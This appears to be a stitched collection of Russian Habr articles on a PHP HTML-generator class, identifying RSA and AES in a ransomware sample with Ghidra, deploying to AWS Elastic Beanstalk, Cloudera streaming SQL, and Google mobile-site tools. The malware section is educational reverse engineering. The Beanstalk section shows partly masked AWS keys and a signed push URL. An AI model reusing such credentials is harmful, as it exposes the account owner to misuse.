Если массив получен из базы данных, или иного хранилища — удобно использовать такой массив напрямую, и это можно сделать передав в специальный атрибут *insert*:
```
$array = [
[
'text' => 'Text1',
'id' => 10
],
[
'text' => 'Text2',
'id' => 20
]
];
h::a(
'$i[text]',
[
'href' => 'Page/$i[id]',
'insert' => $array
]
)
```
```
[Text1](Page/10)
[Text2](Page/20)
```
Можно и в одну строчку все атрибуты написать:
```
$array = [
[
'id' => 'first_checkbox',
'value' => 1
],
[
'id' => 'second_checkbox',
'value' => 0
],
[
'id' => 'third_checkbox',
'value' => 1
]
];
h::{'input[id=$i[id]][type=checkbox][checked=$i[value]][value=1]'}([
'insert' => $array
])
```
```
```
#### А ещё всё это можно расширять
Этот класс представляет только общие, ни к чему не привязанные правила генерации HTML, которые могут быть использованы независимо от окружения.
Но иногда хочется упростить выполнение более сложных рутинных операций.
Например, я использую многие элементы UIkit на фронтенде, и, например, для переключателя нужна особым образом подготовленный HTML.
Скопировав оригинальный код обработки *input* и слегка отредактировав можно получить такой результат:
```
h::radio([
'checked' => 1,
'value' => [0, 1],
'in' => ['Off', 'On']
])
```
```
On
Off
```
Так же можно переопределить метод *pre\_processing*, и реализовать произвольную обработку атрибутов непосредственно перед рендерингом тэга, например, при наличии атрибута *data-title* я навешиваю класс, и таким образом получаю всплывающую подсказку над элементом при наведении.
#### Преимущество использования
Генерируется HTML без шанса оставить тэг незакрытым, или что-то в этом роде.
Везде используются общие правила обработки, которые логичны, весьма быстро запоминаются, и являются намного чаще удобными, чем наоборот.
Можно использовать с абсолютно любыми тэгами, даже с веб-компонентами (пример писать не буду, и так много примеров).
Нет никаких зависимостей, есть возможность унаследовать и переопределить/расширить по желанию всё что угодно, так как это всего лишь один статический класс, и больше ничего.
На выходе обычная строка, которую можно легко использовать вместе с абсолютно любым кодом, использовать на входе следующего вызова класса.
#### Где взять и почитать
На этом, пожалуй, хватит примеров.
[Исходный код на GitHub](https://github.com/nazar-pc/BananaHTML)
Там же есть документация с подробным объяснением всех нюансов использования и всех поддерживаемых конструкций.
Поставить можно через *composer*, либо просто подключив файл с классом.
[Пример наследования с добавлением функциональности](https://github.com/nazar-pc/CleverStyle-CMS/blob/master/core/classes/h/Base.php)
#### Планы
Нужно всё-таки отрефакторить *\_\_callStatic()*, не сломав при этом ничего)
Было бы круто переписать на Zephir, и сделать расширение для PHP (это скорее мечта, но, возможно, когда-то возьмусь и за нее). | https://habr.com/ru/post/241710/ | null | ru | null |
# RE Crypto Part#2
Наверное самое популярное действие, которое приходится выполнять для исследования криптографии сегодня это процедура анализа зловредного кода, который блокирует чьи-то данные с использованием кастомного или общепринятого алгоритма. Попробуем в этой статье рассмотреть зловред и понять какие криптографические алгоритмы он использует.
*ВНИМАНИЕ: Вся информация представленная в статье предоставляется исключительно в образовательных целях. Все файлы, которые будут рассматриваться в качестве примеров ни в коем случае нельзя запускать или исследовать вне тестовой виртуальной среды!*
### Объект исследования
Для поиска алгоритма будем использовать файл с вот такой контрольной суммой - 38035325b785329e3f618b2a0b90eb75.
Файл можно найти на просторах сети. Файл является 32 битной версией исполняемого файла для операционной системы windows. Попробуем идентифицировать алгоритмы шифрования, которые использует данный файл.
Для анализа будем использовать операционную систему Kali Linux с инструментом Ghidra на борту.
### Анализ файла 38035325b785329e3f618b2a0b90eb75
Загружаем файл в ghidra и пробуем искать данные, которые могли бы нам помочь идентифицировать используемый зловредом алгоритм шифрования. Из прошлого выпуска статьи мы знаем, что для идентификации можно использовать:
0. Пробуем искать функции, которые используются для криптографии через WinAPI.
1. Константы, которые зашиты в алгоритм.
2. Куски кода, которые наиболее эффективно выполняют базовые операции с данными.
Каждый зловред, который обладает схожим функционалом обязательно будет скрывать содержимое своего файла. Достигается это обычно использованием кастомного алгоритма шифрования сегментов кода, такое преобразование легко заметить, если рассматривать файл в шестнадцатеричном редакторе. В глаза будет бросаться структура файла, которая практически не будет иметь пустого места. В таком случае файл придется предварительно распаковать чтобы продолжить поиски. С этим файлом нам повезло, поэтому можно сразу искать необходимые данные.
И так, файл не использует библиотеки операционной системы для криптографии, это видно по функциям импорта:
Обычно для ускорения процесса поиска алгоритма шифрования используют скрипты, которые содержат наиболее распространенные константы. К сожалению, таких констант обнаружить не удалось, но пролистав немного код, удалось найти вот такой интересный участок:
Это ни что иное как инициализация большого числа нулями, то есть ОЧЕНЬ большого числа. Можно предположить, что алгоритм приложения либо выделяет очень много памяти для дальнейшей обработки, либо перед нами алгоритм ассиметричной криптографии.
Такие алгоритмы обычно используют достаточно большие числа, которые становятся основой для генерации данных необходимых для проведения шифрования. А так как современное компьютерное железо не в состоянии сразу выделять такое количество памяти в стандартных регистрах процессора, поэтому приходится данные обрабатывать порционно. Обычно шаг для выбора размера числа это 1024.
Чтобы понять какой длины наше число нужно посчитать количество строк, которые заполняются нулями, мы получим следующее число: DWORD\*64=2048 это как раз размер данных, который подходит для работы ассиметричного алгоритма.
А вот теперь плохие новости, придется смотреть алгоритм в виде ассемблерного листинга, чтобы понять какие операции происходят далее. Это должно подсказать что это за алгоритм.
Что конкретно стоит ждать от алгоритма далее. Ассиметричная криптография целиком и полностью базируется на математически неразрешенных проблемах. Или проблемах, которые имеют решение только в заданном количестве случаев. Для таких проблем очень часто примитивными операциями являются математические действия:
* умножения
* возведения в степень
* взятие по модулю.
Для этих операций процессор intel может использовать вот такие команды:
* SBB
* RCL/RCR/ROL/ROR
* ADC
Ниже мы можем заметить вот такие куски кода:
Судя по преобразованиям это часть так называемой операции возведения в степень. Здесь через оптимальный способ проводится сдвиг битов на 1. Что эквивалентно умножению на 2, но так как работа происходит не с одним значением, а по сути с 32х битной последовательностью, то возмещение в степень будет работать только с небольшими корректировками, которыми занимается алгоритм на фото ниже:
Стоит так же заметить, что здесь происходит процедура взятия модуля, то есть можно предполагать, что происходит возведение в степень по какому-то заданному модулю. Такие операции могут указывать на алгоритм RSA. Его подробное описание можно найти [тут](https://ru.wikipedia.org/wiki/RSA).
Попробуем поискать еще алгоритмы. Теперь для поиска воспользуемся [базой](https://github.com/polymorf/findcrypt-yara/blob/master/findcrypt3.rules) популярных сигнатур для определения алгоритма.
В качестве теста попробуем найти вот этот набор констант:
```
A5 63 63 C6 84 7C 7C F8
```
И вот результат:
И вот этот код будет его использовать:
Итого, у нас 2 алгоритма шифрования ассиметричный RSA и семмитричный AES. Судя по всему такой набор не случаен и будет использоваться открытый ключ для проведения процедуры шифрования, а затем ключ будет удаляться, после этого удаления только злоумышленник сможет снова восстановить файлы, так как скорее всего только у него будет на руках закрытый ключ от этого зловреда.
Таким образом можно выяснять какие алгоритмы используются зловредами и далее анализировать насколько хороши имплементации. В случае, если злоумышленник ошибся, то возможно есть шанс получить данные обратно.
В качестве задания для самостоятельного изучения - попробуйте найти еще один криптографический алгоритм, который спрятан в этом файле.
Статья подготовлена в преддверии старта курса [Reverse-Engineering](https://otus.pw/HtEO/) от OTUS
* [Узнать подробнее о курсе](https://otus.pw/HtEO/) | https://habr.com/ru/post/695182/ | null | ru | null |
# Публикация приложения в Elastic Beanstalk
Привет! 
Сегодня я расскажу как легко создавать приложения в Elastic Beanstalk и публиковать их прямо из Git!
Для начала предлагаю установить утилиты командной строки для EB. Можно скачать [отсюда](http://aws.amazon.com/code/AWS-Elastic-Beanstalk/6752709412171743), либо же воспользоваться моим скриптом для установки и обновления основных утилит по [этой статье](http://habrahabr.ru/company/epam_systems/blog/160881/).
Установили. В консоли у нас появится команда **eb**, с которой мы и начнём.
#### 1. Создание приложения
Для начала создадим папку приложения и инициализируем Git репозиторий. Например:
```
$ mkdir ~/Work/testapp/ && cd ~/Work/testapp/
$ git init
```
Создадим приложение Elastic Beanstalk
```
$ eb init
```
**Вопросы от EB**
```
To get your AWS Access Key ID and Secret Access Key,
visit "https://aws-portal.amazon.com/gp/aws/securityCredentials".
Enter your AWS Access Key ID: AKIA**********7KAQ
Enter your AWS Secret Access Key: puKfEWZwNr*******************wx7iwU/U6NnE
Select an AWS Elastic Beanstalk service region.
Available service regions are:
1) US East (Virginia)
2) US West (Oregon)
3) US West (North California)
4) EU West (Ireland)
5) Asia Pacific (Singapore)
6) Asia Pacific (Tokyo)
7) Asia Pacific (Sydney)
8) South America (Sao Paulo)
Select: (1 to 8): 1
Enter an AWS Elastic Beanstalk application name (auto-generated value is "testapp"): testapp
Enter an AWS Elastic Beanstalk environment name (auto-generated value is "testapp-env"):
Select a solution stack.
Available solution stacks are:
1) 32bit Amazon Linux running PHP 5.4
2) 64bit Amazon Linux running PHP 5.4
3) 32bit Amazon Linux running PHP 5.3
4) 64bit Amazon Linux running PHP 5.3
5) 64bit Windows Server 2008 R2 running IIS 7.5
6) 64bit Windows Server 2012 running IIS 8
7) 32bit Amazon Linux running Tomcat 7
8) 64bit Amazon Linux running Tomcat 7
9) 32bit Amazon Linux running Tomcat 6
10) 64bit Amazon Linux running Tomcat 6
11) 32bit Amazon Linux running Python
12) 64bit Amazon Linux running Python
13) 32bit Amazon Linux running Ruby 1.8.7
14) 64bit Amazon Linux running Ruby 1.8.7
15) 32bit Amazon Linux running Ruby 1.9.3
16) 64bit Amazon Linux running Ruby 1.9.3
Select: (1 to 16): 2
Create an RDS DB Instance? [y/n]: n
Updated AWS Credential file at "/home/korjik/.elasticbeanstalk/aws_credential_file".
```
Отлично! В консоли у нас появится приложение:
Давайте его запустим через CLI:
```
$ eb start
```
**Запуск приложения**
```
Starting application "testapp".
Waiting for environment "testapp-env" to launch.
2012-12-21 11:36:54 INFO createEnvironment is starting.
2012-12-21 11:37:00 INFO Using elasticbeanstalk-us-east-1-8******7906425 as Amazon S3 storage bucket for environment data.
2012-12-21 11:37:35 INFO Created load balancer named: awseb-e-m-AWSEBLoa-3Y756XH4GS6C
2012-12-21 11:37:51 INFO Created security group named: awseb-e-mcmpmiq7vv-stack-AWSEBSecurityGroup-1P8Y0FB06SVMD
2012-12-21 11:37:57 INFO Created Auto Scaling launch configuration named: awseb-e-mcmpmiq7vv-stack-AWSEBAutoScalingLaunchConfiguration-1PPFVPGQK4PV8
2012-12-21 11:39:09 INFO Waiting for EC2 instances to launch. This may take a few minutes.
2012-12-21 11:39:09 INFO Created Auto Scaling group named: awseb-e-mcmpmiq7vv-stack-AWSEBAutoScalingGroup-1WLKAEZBZ8ZGT
2012-12-21 11:40:45 INFO Created Auto Scaling group policy named: arn:aws:autoscaling:us-east-1:8******7906425:scalingPolicy:8d0accbb-fa54-483a-a3c0-8b91921a738e:autoScalingGroupName/awseb-e-mcmpmiq7vv-stack-AWSEBAutoScalingGroup-1WLKAEZBZ8ZGT:policyName/awseb-e-mcmpmiq7vv-stack-AWSEBAutoScalingScaleDownPolicy-184TBBCOHLRB3
2012-12-21 11:40:50 INFO Created CloudWatch alarm named: awseb-e-mcmpmiq7vv-stack-AWSEBCloudwatchAlarmLow-WZWD04T7WB4O
2012-12-21 11:40:53 INFO Created Auto Scaling group policy named: arn:aws:autoscaling:us-east-1:8******7906425:scalingPolicy:acc43498-d4ce-4421-896b-84ea7eb05fb2:autoScalingGroupName/awseb-e-mcmpmiq7vv-stack-AWSEBAutoScalingGroup-1WLKAEZBZ8ZGT:policyName/awseb-e-mcmpmiq7vv-stack-AWSEBAutoScalingScaleUpPolicy-1GZEQ8O807OFD
2012-12-21 11:40:56 INFO Created CloudWatch alarm named: awseb-e-mcmpmiq7vv-stack-AWSEBCloudwatchAlarmHigh-XLWNREY9ZVKY
Application is available at "testapp-env-p3n7aesmip.elasticbeanstalk.com".
```
Далее установим скрипты для Git в репозирторий:
```
$ cp -r ~/AWS_CLI_TOOLS/AWS-ElasticBeanstalk-CLI-2.3/AWSDevTools/Linux/* .
$ ./AWSDevTools-RepositorySetup.sh
```
В папке .git появились нужные файлы:
```
$ ll .git/AWSDevTools/
total 24
drwxr-xr-x 3 korjik korjik 4096 Dec 21 12:27 .
drwxrwxr-x 8 korjik korjik 4096 Dec 21 12:27 ..
drwxr-xr-x 2 korjik korjik 4096 Dec 21 12:27 aws
-rwxr-xr-x 1 korjik korjik 4372 Dec 21 12:27 aws.elasticbeanstalk.config
-rwxr-xr-x 1 korjik korjik 2798 Dec 21 12:27 aws.elasticbeanstalk.push
```
#### 2. Деплой приложения
Итак, наше приложение готово, его нужно задеплоить.
Создадим самое простое что пришло в голову:
```
$ echo "php phpinfo(); ?" > index.php
```
Добавим и закоммитим в git:
```
$ git add index.php
$ git commit -m "PHP INFO"
```
Ну и собственно деплой:
```
$ git aws.push --environment "testapp-env"
Counting objects: 3, done.
Writing objects: 100% (3/3), 240 bytes, done.
Total 3 (delta 0), reused 0 (delta 0)
remote:
To https://AKIAII*********7KAQ:20121221T103218Z8abd2f8768ce64d97f85dd0902b5f8efadcf8148a227924464fe8e6fc41998a1@git.elasticbeanstalk.us-east-1.amazonaws.com/v1/repos/74657374617070/commitid/39383466343734663539393639396130316535336661353933656461383661333461353766636632/environment/746573746170702d656e76
+ 755988e...984f474 HEAD -> master (forced update)
```
Проверим, статус:
```
$ eb status
URL : testapp-env-yp333cyrp2.elasticbeanstalk.com
Status : Updating
Health : Grey
```
Когда статус будет Ready проверяем!
Ну вот, приложение задеплоено и работает:
Собственно говоря, всё крайне просто. Вы легко можете создавать ветки приложения с помощью **eb branch** и деплоить из Git как угодно и куда угодно. В статье адрес приложения менялся — это были разные тесты. При деплое адрес не меняется.
А вообще, очень рекомендую почитать про [Elastic Beanstalk](http://docs.aws.amazon.com/elasticbeanstalk/latest/dg/Welcome.html).
Используете ли вы EB? Что-то интересное расскажете? | https://habr.com/ru/post/163489/ | null | ru | null |
# Cloudera Streaming Analytics: унификация пакетной и потоковой обработки в SQL
В октябре 2020 года Cloudera приобрела компанию Eventador, а в начале 2021 года был выпущен продукт [Cloudera Streaming Analytics (CSA) 1.3.0](https://blog.cloudera.com/accelerated-integration-of-eventador-with-cloudera-sql-stream-builder/). Это был первый релиз, который включал в себя SQL Stream Builder (SSB), полученный в результате интеграции наработок Eventador в продукт для аналитики потоквых данных на базе Apache Flink.
SQL Stream Builder (SSB) - это новый компонент со своим дружелюбным веб-интерфейсом, позволяющий анализировать потоковые и исторические данные в режиме реального времени в SQL, под капотом которого работает Apache Flink. На сегодняшний день около 3 миллиардов событий анализируется в Apache Fink ежедневно самыми прогрессивными компаниями по всему миру.
Первоначально разработчики сконцентрировались на внедрении в SSB языка определения данных Flink (DDL) и интерфейса для подключения к пакетным данным. Мы хотели использовать разработки последних версий Flink, а также добавить в SSB важные функции. Для заказчиков это открывает огромные новые возможности для интеграции существующих массивов данных с источниками потоковых данных в стеке Cloudera.
Уже в последних версиях (1.4 & 1.5) мы рады анонсировать CSA с унифицированным интерфейсом для работы с потоковыми и пакетными данными . Мы считаем, что это откроет новые возможности для использования в приложениях IoT, финансовой, производственной сфере и многих других отраслях. Это позволяет создавать уникальные потоки ETL, хранилища данных в реальном времени и формировать ценные потоки данных без масштабной модернизации инфраструктуры.
Почему пакетная + потоковая обработка?
--------------------------------------
Долгое время считалось, что пакетная обработка и потоковая передача (системы с фиксированными и свободными границами) являются ортогональными технологиями - эталонной архитектурой, в которой потоки наполняют озера данных, и не более того.
Но, как работающие с данными специалисты-практики, мы хотели большего. Нам нужна была возможность обращаться к пакетным данным и источникам потоковой передачи данных в логике приложений. Мы хотели иметь инструменты и грамматику SQL, чтобы легко работать с ними. Нам необходимо было легко объединять существующие корпоративные источники данных и потоки данных с высокой скоростью доставки и малой задержкой. Нам нужна была гибкость для решения задач как с помощью пакетных, так и потоковых API, а также возможности прямого подключения к источникам для беспрепятственного чтения и записи данных. Нам нужно было экспериментировать с приложениями, повторять и затем развертывать процессоры, которые можно масштабировать и восстанавливать без массового воспроизведения данных. Мы хотели, чтобы схемы автоматически определялись там, где это возможно, и существовал богатый инструментарий для их создания там, где это необходимо.
В конце концов, бизнесу не важно, каков формат исходных данных. и нам нужен был фреймворк, который позволял бы быстро и легко предоставлять данные как продукт без масштабного наращивания инфраструктуры или использования баз данных нижестоящего уровня. У этой архитектуры нет причудливого названия - в основном потому, что так все так и должно было работать. CSA упрощает создание этих продуктов-данных.
*Исторические данные в Kudu/Hive и др.; высокоскоростные потоковые данные в Kafka; непрерывная обработка потоковых данных с помощью SQL (через Flink); информационные панели BI-приложений, микросервисы, временные ряды, одностраничные приложения, блокнот и пр. (протоколы REST или PostgreSQL); материализованные представления в виде ценных и готовых к использованию наборов данных (PostgreSQL с потоковым обновлением по ключу).*
Немного из истории Flink
------------------------
Cloudera Streaming Analytics работает на базе Apache Flink и включает в себя SQL Stream Builder и ядро движка Flink. Возможно, вы не этого знали, но Apache Flink с самого начала был фреймворком для пакетной обработки. Вместе с тем Flink изначально использовал пакетную и потоковую передачу с двумя отдельными API. Предложение 131 по улучшению Flink ([Flink Improvement Proposal 131](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=158866741)) переопределило API Flink с акцентом на объединение ограниченной/неограниченной обработки в рамках одного и того же API. А раньше нужно было выбирать тот или иной API. С появлением Flip-131 режим обработки будет полностью абстрагирован от программы в табличном API, что позволит разработчику писать программы, которые аккуратно и просто объединяют две парадигмы обработки. Flink всегда ориентировался на корректные результаты и поддерживал однократную обработку. Сочетание мощности движка с грамматикой соединения с ограничением по времени дает нам возможность запрашивать ограниченные (пакетные) и неограниченные (потоковые) данные с использованием простого синтаксиса join. Это полностью меняет правила игры.
SQL Stream Builder и пакетные данные
------------------------------------
В отличие от самого Flink, SQL Stream Builder зародился как чисто потоковый интерфейс. Начиная с CSA 1.4, SSB позволяет выполнять запросы для объединения и обогащения потоковых данных с историческими. Для обогащения потоков SSB может присоединять данные из таких источников как Kudu, Hive/Impala и JDBC. Со временем мы продолжим добавление источников и приемников ограниченных данных. SSB всегда мог объединять несколько потоков данных, но теперь он позволяет также обогащать их с помощью источников пакетных данных.
**Data Definition Language (DDL)**
В основе новой функциональности лежит включение Flink DDL в SSB. Таблицы определяются с помощью схемы (подразумеваемой или указанной), и затем к ним можно применять Continuous SQL, как к любому другому источнику. Кроме того, автоматически доступны все источники данных на платформе Cloudera Data Platform.
```
-- auto-inferred from CDP catalog import
CREATE TABLE `CDP_Hive_Catalog`.`airplanes`.`faa_aircraft` (
`tailnumber` VARCHAR(255),
`model` VARCHAR(255),
`serial` VARCHAR(255),
`icao` VARCHAR(255),
`owner` VARCHAR(255)
) WITH (
...
)
```
**Чтение и обогащение потоковых данных историческими**
Например, здесь мы обогащаем поток данных, который измеряет статус тестирования производственных систем. Мы дополняем поток (a) данными о сотрудниках из (b). Мы используем грамматику Flink для указания времени для таблицы (proctime ()) и задаем ключ соединения.
```
SELECT
a.stationid, a.test, b.managername
FROM
mfgrline AS a
JOIN `CDP_Kudu_Catalog`.`HR_db`.`impala::mfgr.stations`
FOR SYSTEM_TIME AS OF PROCTIME() AS b
ON a.stationid = b.stationid
```
Также возможно для объединения потоков скомбинировать в одном запросе несколько источников, в том числе потоковых:
Запись данных в системы-приемники
---------------------------------
SSB также может писать результаты обработки в различные системы хранения данных. Это мощный инструмент не только для хранения результатов некоторых вычислений, но и для сохранения логического состояния вычислений. Например, можно вести бухгалтерскую книгу для учетных записей, которые вы отключили из-за опасности мошенничества, так что не нужно будет отправлять запросы повторно. Чтобы записать в приемник, достаточно определить таблицу и выбрать ее в качестве приемника.
создание таблицы, в которую будем записывать результатыЗапуск запроса с записью результата в таблицу sensor\_historyНовые архитектуры и сценарии использования
------------------------------------------
Благодаря новым возможностям, которые предоставляет [CSA в последней версии 1.5](https://blog.cloudera.com/what-is-new-in-cloudera-streaming-analytics-1-5/), возможны новые сценарии использования, а также новые реализации, снижающие задержку и ускоряющие выход на рынок.
* **Распределенное хранилище данных в реальном времени -** обогащение потоковых данных историческими с сохранением результата в виде материализованных представлений, доступных по API. Например, возможен расширенный анализ потока кликов или объединение данных с датчиков с историческими измерениями. Новый интерфейс DDL в SSB предоставляет возможность определять источники потоковой передачи и пакетной обработки из любой точки стека CDP и объединять их с помощью Continuous SQL.
* **Data Science** - качественный анализ требует контекста. Например, внедрение персонализированного клиентского опыта в режиме реального времени с обогащением онлайн потоков данных о поведении клиентов исторической информацией о прошлых событиях для ML моделей на Python. SQL Stream Builder предоставляет простой интерфейс REST для материализованных представлений, который легко интегрируется с Python и Pandas внутри [блокнотов](https://www.cloudera.com/products/data-science-and-engineering/data-science-workbench.html), поэтому специалисты по данным могут сосредоточиться на небольших, но ценных наборах данных в собственных инструментах, вместо того, чтобы анализировать весь поток данных.
* **Производственные операции в реальном времени** - на производстве важна возможность беспрепятственно обращаться к источникам данных по всему предприятию, а затем материализовать представления для информационных панелей. Это может помочь сократить отходы, контролировать затраты и повысить качество. Пример - объединение исторической частоты отказов станций с текущей телеметрией для отображения прогнозных результатов в [Cloudera Dataviz](https://www.cloudera.com/products/cloudera-data-platform/data-visualization.html) или Grafana.
Что ещё новенького и полезного есть в CSA 1.5?
----------------------------------------------
* **Импорт Change Data Capture** - мы добавили поддержку импорта с Change Data Capture из реляционных баз данных на основе open source проекта [Debezium](https://debezium.io/), который оборачивает Flink как среду выполнения вокруг логики, импортированной из Debezium. Этот подход не требует внесения изменений в таблицы репликации базы данных, вместо этого он напрямую подключается к потоку репликации базы данных.
Например, следующая таблица может быть определена для подключения к потоку CDC из СУБД Oracle:
* **Java UDF** - в SQL Stream Builder уже была поддержка UDF на Javascript, определенных в графическом интерфейсе. Теперь мы добавили возможность использовать Flink SQL Java UDF-функции , добавляя их в classpath.
Например, следующая простая функция инкремента реализована как Flink Java Function:
```
package com.cloudera;
import org.apache.flink.table.functions.ScalarFunction;
public class FlinkTestJavaUDF extends ScalarFunction {
public Integer eval(Integer i) {
return i + 1;
}
}
```
* **RESTful API для SQL Stream Builder -** в этом релизе мы представляем RESTful API для всех операций SQL Stream Builder. Это обеспечивает программный доступ и автоматизацию заданий в SQL Stream Builder. Сопровождающая страница Swagger доступна как часть нашей документации. Например, следующий вызов создает самостоятельное новое задание:
```
curl --location --request POST ':/api/v1/ssb/sql/execute' \
--header 'Content-Type: application/json' \
--data-raw '{
"sql": "CREATE TABLE IF NOT EXISTS datagen\_sample (col\_int INT, col\_ts TIMESTAMP(3), WATERMARK FOR col\_ts AS col\_ts - INTERVAL '\''5'\'' SECOND) WITH ('\''connector'\'' = '\''datagen'\'');\nSELECT \* FROM datagen\_sample;",
"job\_parameters": {
"job\_name": "production\_job"
}
}'
```
Как я могу попробовать этот инструмент?
---------------------------------------
Попробовать самостоятельно CSA очень легко и просто - недавно мы выпустили Community Edition этого продукта, который вы можете скачать и поднять на докере за считанные минуты!
[Документация по установке тут!](https://docs.cloudera.com/csa-ce/1.6.0/ce-overview/topics/csa-ce-architecture.html)
[Статья об этом релизе на Medium](https://medium.com/cloudera-inc/introducing-cloudera-streaming-analytics-community-edition-1e324b10b751)
Мы надеемся, что вы так же воодушевлены будущим потоковой передачи данных, как и мы. Наши инженеры неустанно работали над тем, чтобы вывести на рынок [Cloudera Streaming Analytics](https://www.cloudera.com/products/cdf/stream-processing-and-analytics.html) и раскрыть новые возможности, сочетающие пакетную обработку и потоковую передачу данных. Возможно, именно поэтому по результатам последнего исследования Forrester Wave, [Streaming Analytics](https://www.cloudera.com/campaign/forrester-wave-streaming-analytics-q2-2021-report.html?utm_medium=cldr-properties&utm_source=blog&keyplay=SEC&utm_campaign=FY22-Q2_SC_AMER_Forrester_Wave_Streaming_OS_2021-06-07&cid=7012H000001daoTQAQ) (2 квартал 2021 года) Cloudera была отмечена как «сильный игрок» (Strong Performer). | https://habr.com/ru/post/571532/ | null | ru | null |
# Технические рекомендации и ресурсы Google для мобильных сайтов
Предлагаем вашему вниманию материалы доклада Андрея Липатцева, Google, с последней конференции [Bitrix Summer Fest](http://conf.1c-bitrix.ru/summer2015/online/). В своём выступлении Андрей рассказал о текущей ситуации с ранжированием и оценкой Google сайтов для мобильных устройств.
Вы наверняка в курсе всех последних изменений в поисковой выдаче Google, которые произошли за последние пару месяцев. Мои коллеги проделали большую работу, чтобы упростить процесс перехода на адаптированные сайты. Давайте рассмотрим, зачем были осуществлены все эти перемены, на что теперь обращает внимание Google в первую очередь.
Мировая статистика свидетельствуют о том, что свыше 50% всех поисковых запросов в Google приходят с мобильных устройств. Все крупнейшие сайты также отмечают огромный рост количества мобильных пользователей. В России эта тенденция выражена не столь явно, но направление абсолютно такое же. Уже сейчас значительная доля россиян чаще заходит в интернет со смартфона, чем с компьютера, в том числе и для поиска информации в интернете. Активнее всего используют смартфоны люди в возрасте до 35 лет, и фактически нам осталось один—два шага до того, чтобы наш рынок в этом смысле стал очень похожим на западный. Где компании, не учитывающие интересы пользователей мобильных устройств, фактически сами себе перекрывают кислород, закрываясь от клиентов.
В рамках данного поста мы обсудим инструменты от Google для анализа ресурсов, поговорим о технической стороне вопроса, о критериях анализа и ряде других вопросов.
### Инструмент проверки
Сегодня Google предлагает три очень важных инструмента для владельцев и администраторов. Точнее, два из них являются инструментами, а один представляет собой отчет, позволяющий правильно использовать те два инструмента. Первый и самый главный — это инструмент проверки удобства использования сайта при заходе с мобильных устройств. Он находится по адресу [g.co/mobilefriendly](https://www.google.com/webmasters/tools/mobile-friendly/). Там же вы найдете всю необходимую локализованную документацию и рекомендации по этой теме, поэтому достаточно лишь запомнить этот адрес как отправную точку. Вряд ли вы испытаете какие-то затруднения с использованием этого инструмента, там всё очень просто.
Если вы пользуетесь какой-либо хорошей CMS, то вам, как владельцу ресурса, практически ничего не нужно делать, надо удостовериться, что у вас всё работает правильно и не пускать это на самотек. Данный инструмент проанализирует одну страницу вашего сайта и выдаст итоговую оценку.
Исходя из нее будет сразу понятно, адаптирована ли страница или нет. Все обнаруженные проблемы будут перечислены, всего их может быть четыре. Также будет показано, как Google-бот видит вашу страницу, и будут предложены ссылки на дополнительные ресурсы, которые могут оказаться вам полезны. В том числе с рекомендациями для пользователей различных CMS.
Необходимо помнить, что инструмент анализирует лишь одну страницу сайта — главную. На основании этой проверки он максимально доходчиво показывает, какие обнаружены недостатки и что нужно сделать для их исправления. Возможно, все остальные страницы вашего сайта будут хорошо адаптированы для мобильных устройств, но данный инструмент об этом не узнает. Впрочем, возможна и обратная ситуация.
### Отчёт об удобстве пользования
Также в Google Search Console теперь доступен суммарный отчёт обо всех обнаруженных ошибках, с развёрнутым описанием и рекомендациями по исправлению. Важно помнить, что сканирование страниц не происходит каждую секунду. Но вы в любой момент можете узнать, когда в последний проверялась любая из страниц. Так что нужно иметь в виду, что отражённая в отчёте картина может несколько отставать от реального положения вещей. При необходимости можно провести проверку каждой страницы по отдельности, если вы считаете, что результат отчёта не отражает текущей ситуации.
Здесь также визуализируется то, как «видит» страницы вашего сайта Google-бот. Также нужно помнить о том, что проверка осуществляется как при сканировании ботом, так и при индексировании. Так что поисковый движок тоже может не сразу узнавать о том, что вы провели какую-то оптимизацию своего сайта для мобильных устройств.
### PageSpeed Insights
Наконец, наш самый старый инструмент — Google Page Speed Insights, который мы будем постепенно интегрировать с первыми двумя решениями, но пока он существует отдельно.
Во-первых, он позволяет вам увидеть страницу так, как её видит мобильный пользователь, с учетом соответствующей ограниченности ресурсов. То есть это своеобразный инструмент для тестирования проведенной вами оптимизации, причем можно вообще не иметь на руках какого-либо мобильного устройства. Page Speed Insights также предложит способы решения каких-либо обнаруженных проблем с Usability вашего сайта. Рекомендации даются конкретные, сразу с примерами кода. Это помогает понять, в чём причины сложившейся ситуации и насколько трудоемким будет её исправление.
Я уже неоднократно упоминал о том, что все три вышеописанных инструмента дают всевозможные рекомендации. Естественно, не нужно слепо им следовать, всегда взвешивайте предлагаемые способы. Стόит ли овчинка выделки, какой результат вы получите, потратив время и ресурсы на внесение каких-либо изменений. И уже исходя из этого можно решать, следовать ли предлагаемым рекомендациям.
### Что же нам предлагают эти инструменты
Давайте рассмотрим некоторые из тех технических рекомендаций, что могут быть даны вышеперечисленными инструментами.
Область просмотра — это та часть страницы, в которой находится контент. Именно эта область определяет, как страница будет отображаться на устройствах, с экранами различных размеров и соотношений сторон. И зачастую, если она не настроена, то на мобильном устройстве отображается только часть контента. То есть просто не помещается по ширине или высоте.
С помощью одного простого тега можно объяснить браузерам и поисковым системам, какую область просмотра, для каких устройств и каким образом нужно масштабировать.
````
Если вы используете CMS, то это решение должно быть уже внедрено. Всё, что вам необходимо сделать — это удостовериться, что тег есть и обрабатывается правильно: сайт корректно отображается на мобильных устройствах, а поисковая система считает его адаптированным. В этом помогут вышеописанные инструменты.
Итак, вы оптимизировали отображение вашего контента, но это не значит, что с ним можно взаимодействовать. Это часто встречающаяся проблема при рендеринге страницы. Для её решения нужно точнее настроить ширину отображаемого контента. Ведь у нас могут использоваться элементы, чья величина задана в пикселях. Поэтому на мобильных устройствах страница может отображаться некорректно даже при использовании вышеприведённого тега.
Лучше отказаться от использования в дизайне страниц элементов с заданной в пикселях шириной. Вместо этого используйте пропорциональные размеры, в % от ширины экрана.
body {width: 1024px; … font-size: 12px}
…
main img {margin-left: 100%; margin-right: 10%; width: 800px}
```
Другой способ решения — использование в коде так называемых медиа-запросов. Благодаря им будет динамически подстраиваться отображение тех или иных элементов на странице в зависимости от параметров экрана. Скажем, если на сервер приходит запрос от браузера, запущенного на десктопе, то сервер отдаёт страниц с изначально заданной шириной элементов. Если же запрос приходит от мобильного браузера, то сервер перенастраивает отображение контента на странице.
Несмотря на то, что теперь у нас настроена область просмотра и весь контент находится внутри неё, страница ещё не полностью оптимизирована для мобильных устройств. Всё ещё возможно некорректное отображение сайта. Однако вам будет уже гораздо проще управлять контентом, поскольку все пользователи видят его целиком на своих экранах. Опять же, во многих CMS данная проблема решается без вашего участия. Вам нужно лишь убедиться, что используемые вами шаблоны адаптированы под мобильные устройства.
